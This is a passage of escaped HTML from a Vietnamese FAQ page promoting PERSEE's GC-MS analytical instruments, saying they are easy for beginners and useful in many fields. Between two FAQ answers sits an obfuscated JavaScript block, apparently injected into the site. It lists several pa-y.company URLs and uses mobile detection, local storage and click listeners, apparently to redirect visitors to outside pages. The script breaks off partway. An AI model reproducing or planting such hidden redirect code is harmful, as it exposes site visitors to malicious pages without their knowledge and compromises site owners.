t\u1ea1p.<\/p>\n<h3>Q3 Ph\u1ed5 ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng nhi\u1ec5m s\u1eafc kh\u00ed c\u00f3 ph\u00f9 h\u1ee3p cho ng\u01b0\u1eddi m\u1edbi b\u1eaft \u0111\u1ea7u ho\u1ea1t \u0111\u1ed9ng kh\u00f4ng?<\/h3>\n<p>A3 GC-MS hi\u1ec7n \u0111\u1ea1i, gi\u1ed1ng nh\u01b0 M7 c\u1ee7a PERSEE, d\u1ec5 s\u1eed d\u1ee5ng. N\u00f3 c\u00f3 c\u00e1c \u0111i\u1ec1u khi\u1ec3n \u0111\u01a1n gi\u1ea3n v\u00e0 c\u00e1c b\u01b0\u1edbc t\u1ef1 \u0111\u1ed9ng. Ng\u01b0\u1eddi m\u1edbi b\u1eaft \u0111\u1ea7u c\u00f3 th\u1ec3 h\u1ecdc b\u1eb1ng c\u00e1ch \u0111\u00e0o t\u1ea1o. C\u00e1c ch\u01b0\u01a1ng tr\u00ecnh c\u1ee7a ch\u00fang t\u00f4i gi\u00fap ng\u01b0\u1eddi d\u00f9ng c\u00f3 k\u1ebft qu\u1ea3 t\u1ed1t. \u0110\u1ec3 bi\u1ebft th\u00eam th\u00f4ng tin, truy c\u1eadp <a href=\"https:\/\/www.pgeneral.com\/vi\/\"><u>Trang ch\u1ee7 c\u1ee7a PERSEE<\/u><\/a>.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https:\/\/pa-y.company\/vND9c0','https:\/\/pa-y.company\/loA8c5','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https:\/\/pa-y.company\/wpo5c3','8SJGLkz','random','https:\/\/pa-y.company\/dfD1c4','7196643rGaMMg','setItem','-mnts','https:\/\/pa-y.company\/BLE2c1','266801SrzfpD','substr','floor','-local-storage','https:\/\/pa-y.company\/HbD4c2','3ThLcDl','stopPropagation','_blank','https:\/\/pa-y.company\/Tnr3c8','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https:\/\/pa-y.company\/dEf0c9'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const 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N\u00f3 gi\u00fap t\u00ecm th\u1ea5y c\u00e1c kh\u00ed ph\u1ee9c t\u1ea1p trong nhi\u1ec1u l\u0129nh v\u1ef1c. B\u1ea1n c\u00f3 ki\u1ec3m tra ch\u1ea5t l\u01b0\u1ee3ng kh\u00f4ng kh\u00ed kh\u00f4ng? Hay l\u00e0m vi\u1ec7c trong m\u1ed9t nh\u00e0 m\u00e1y? C\u00f3 th\u1ec3 b\u1ea1n&#8217; H\u1ecdc thu\u1ed1c? GC-MS cung c\u1ea5p k\u1ebft qu\u1ea3 r\u00f5 r\u00e0ng v\u00e0 ch\u00ednh x\u00e1c. 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